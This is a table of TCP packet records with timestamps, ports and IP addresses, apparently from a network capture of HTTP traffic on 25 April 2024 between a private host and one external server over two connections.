Apr 25, 2024 08:11:55.184784889 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.184804916 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.184834957 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.184868097 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.184885979 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.184916019 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.184948921 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.184987068 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185007095 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185034990 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185055971 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185091972 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185125113 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185163021 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185179949 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185213089 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185231924 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185261965 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185297012 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185316086 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185345888 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185379982 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185398102 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185429096 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185461998 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185487986 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185513973 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185548067 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185583115 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185600996 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185626030 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185650110 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185683966 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185718060 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185738087 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185767889 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185801029 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185833931 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.185854912 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.185882092 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377082109 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377144098 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377182007 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377229929 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377262115 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377300978 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377321959 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377356052 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377393007 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377413034 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377445936 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377502918 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377521038 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377558947 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377597094 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377614975 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377648115 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377686024 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377723932 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377743959 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377778053 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.377799988 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377912998 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377948999 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.377971888 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378006935 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378046036 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378066063 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378099918 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378137112 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378156900 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378190994 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378226995 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378247023 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378281116 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378317118 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378354073 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378374100 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378405094 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378427982 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378467083 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378505945 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378525972 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378560066 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378597021 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378617048 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.378650904 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.378710985 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.387330055 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387370110 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387428045 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.387481928 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387520075 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387554884 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387576103 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.387609959 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387672901 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.387706995 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387746096 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387782097 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387804031 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.387839079 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387877941 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387897015 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.387933016 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387969017 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.387989998 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388022900 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388061047 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388098001 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388156891 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388194084 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388214111 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388247967 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388284922 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388304949 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388339043 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388375998 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388398886 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388432026 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388468027 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388530970 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388545990 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388587952 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388602018 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388634920 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388672113 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388690948 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388725042 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388761044 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388781071 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388814926 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388850927 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388870001 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:11:55.388906002 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388941050 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:11:55.388995886 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:00.179672956 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:00.179773092 CEST	49704	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:29.922775030 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.130446911 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.130938053 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.131567955 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.179739952 CEST	80	49704	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.339596033 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340151072 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340240002 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340277910 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340312004 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.340321064 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340389013 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.340409040 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.340441942 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340459108 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340527058 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340555906 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.340590954 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340610027 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340629101 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.340646982 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.340709925 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548190117 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548248053 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548268080 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548284054 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548300982 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548315048 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548320055 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548336029 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548355103 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548373938 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548382998 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548382998 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548404932 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548410892 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548410892 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548422098 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548435926 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548499107 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548508883 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548528910 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548546076 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548557043 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548566103 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548573971 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548629045 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548635960 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548635960 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548681021 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548698902 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548708916 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548729897 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548753023 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548753023 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548764944 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.548796892 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.548903942 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.755913973 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.755940914 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.755958080 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.755974054 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.755996943 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756015062 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756028891 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756028891 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756064892 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756083012 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756095886 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756154060 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756154060 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756166935 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756185055 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756202936 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756220102 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756247044 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756295919 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756326914 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756376028 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756396055 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756428957 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756457090 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756469011 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756494999 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756515980 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756531954 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756547928 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756566048 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756566048 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756599903 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756618023 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756623983 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756644011 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756665945 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756683111 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756700039 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756746054 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756747007 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756746054 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756764889 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756848097 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756850958 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756865025 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756907940 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756916046 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756927013 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756944895 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.756948948 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.756994009 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757013083 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757039070 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757057905 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757083893 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757088900 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757112980 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757131100 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757158041 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757179976 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757195950 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757205009 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757262945 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757282019 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757339954 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757359982 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757366896 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757399082 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.757399082 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757425070 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.757467985 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.963663101 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963756084 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.963763952 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963784933 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963804007 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963824987 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963828087 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.963844061 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963862896 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963871002 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.963880062 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.963910103 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.963937044 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.963937998 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964236975 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964263916 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964289904 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964310884 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964318037 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964351892 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964369059 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964385986 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964421988 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964468002 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964483976 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964499950 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964531898 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964555979 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964849949 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964910030 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.964916945 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.964958906 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965235949 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965256929 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965282917 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965291977 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965297937 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965331078 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965341091 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965462923 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965465069 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965517044 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965534925 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965576887 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965617895 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965657949 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965745926 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965790987 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965833902 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965851068 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965887070 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965903997 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965910912 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965935946 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965939999 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.965969086 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.965992928 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966001034 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966018915 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966044903 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966048002 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966058969 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966083050 CEST	49713	80	192.168.2.5	87.121.105.163
Apr 25, 2024 08:12:30.966089964 CEST	80	49713	87.121.105.163	192.168.2.5
Apr 25, 2024 08:12:30.966121912 CEST	80	49713	87.121.105.163	192.168.2.5
